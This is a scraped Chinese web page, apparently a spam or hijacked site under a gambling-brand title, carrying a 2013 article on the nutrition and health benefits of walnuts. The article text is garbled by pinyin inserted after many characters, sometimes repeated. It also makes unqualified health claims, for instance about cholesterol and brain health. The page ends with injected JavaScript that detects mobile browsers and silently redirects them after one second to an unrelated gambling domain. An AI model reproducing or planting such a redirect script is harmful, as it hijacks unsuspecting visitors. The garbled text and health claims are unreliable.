博天堂游戏

核桃的功效与作用及其营养价值

--核桃,又称胡桃,为胡桃科植物

  日期:2013-12-29   点击:5824

导读:核桃(tao)(tao),又称胡桃(tao)(tao),为胡桃(tao)(tao)科植(zhi)物(wu)。核桃(tao)(tao)仁含有丰富的营养(yang)素(su),每百(bai)克含蛋(dan)白质15~20克,脂肪(fang)60~70克,碳水(shui)化(hua)合物(wu)10克;并(bing)含有人体必需(xu)的钙、磷、铁等(deng)多种(zhong)微量(liang)元素(su)和矿物(wu)质,以及胡萝(luo)卜素(su)、核黄素(su)等(deng)多种(zhong)维生素(su)。

  

 


  核桃的功效与作用及食用方法

  功效作用:

  核(he)桃

  核(he)桃(tao)(tao),又称(cheng)胡桃(tao)(tao),为(wei)胡桃(tao)(tao)科植物(wu)。核(he)桃(tao)(tao)仁含(han)有丰富(fu)的(de)(de)(de)营养素(su)(su)(su),每(mei)百克(ke)含(han)蛋白质15~20克(ke),脂肪60~70克(ke),碳水化合物(wu)10克(ke);并含(han)有人体必需的(de)(de)(de)钙、磷(lin)、铁(tie)等多种微量元(yuan)素(su)(su)(su)和矿物(wu)质,以及胡萝(luo)卜素(su)(su)(su)、核(he)黄素(su)(su)(su)等多种维生素(su)(su)(su)。核(he)桃(tao)(tao)中(zhong)所(suo)含(han)脂肪的(de)(de)(de)主要(yao)成(cheng)分是亚油(you)酸甘油(you)脂,食后不(bu)但(dan)不(bu)会使(shi)胆固(gu)(gu)醇升高(gao),还能减少(shao)肠道对胆固(gu)(gu)醇的(de)(de)(de)吸收,因此,可作为(wei)高(gao)血压、动脉硬化患者的(de)(de)(de)滋补品(pin)。此外,这(zhei)些(xie)油(you)脂还可供给大脑(nao)基质的(de)(de)(de)需要(yao)。核(he)桃(tao)(tao)中(zhong)所(suo)含(han)的(de)(de)(de)微量元(yuan)素(su)(su)(su)锌和锰(meng)是脑(nao)垂体的(de)(de)(de)重要(yao)成(cheng)分,常(chang)食有益于脑(nao)的(de)(de)(de)营养补充,有健脑(nao)益智(zhi)作用。

  我国古代人早(zao)就发现核(he)(he)桃(tao)具有健脑(nao)益智(zhi)作用(yong)。李(li)时珍说(shuo):核(he)(he)桃(tao)能“补肾通脑(nao),有益智(zhi)慧”。不(bu)少古代人还发明了许多吃核(he)(he)桃(tao)的(de)(de)方法,如将核(he)(he)桃(tao)500克打碎去壳取仁,将核(he)(he)桃(tao)仁加冰(bing)糖共捣成核(he)(he)桃(tao)泥,密(mi)闭贮(zhu)藏(zang)在(zai)瓷(ci)缸中,每次取两茶匙,用(yong)开水冲和(he)(he)饮(yin)服。据说(shuo),用(yong)水冲和(he)(he)后浮(fu)起的(de)(de)一层(ceng)白色液(ye)体,就是补脑(nao)作用(yong)最强的(de)(de)“核(he)(he)桃(tao)奶”。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();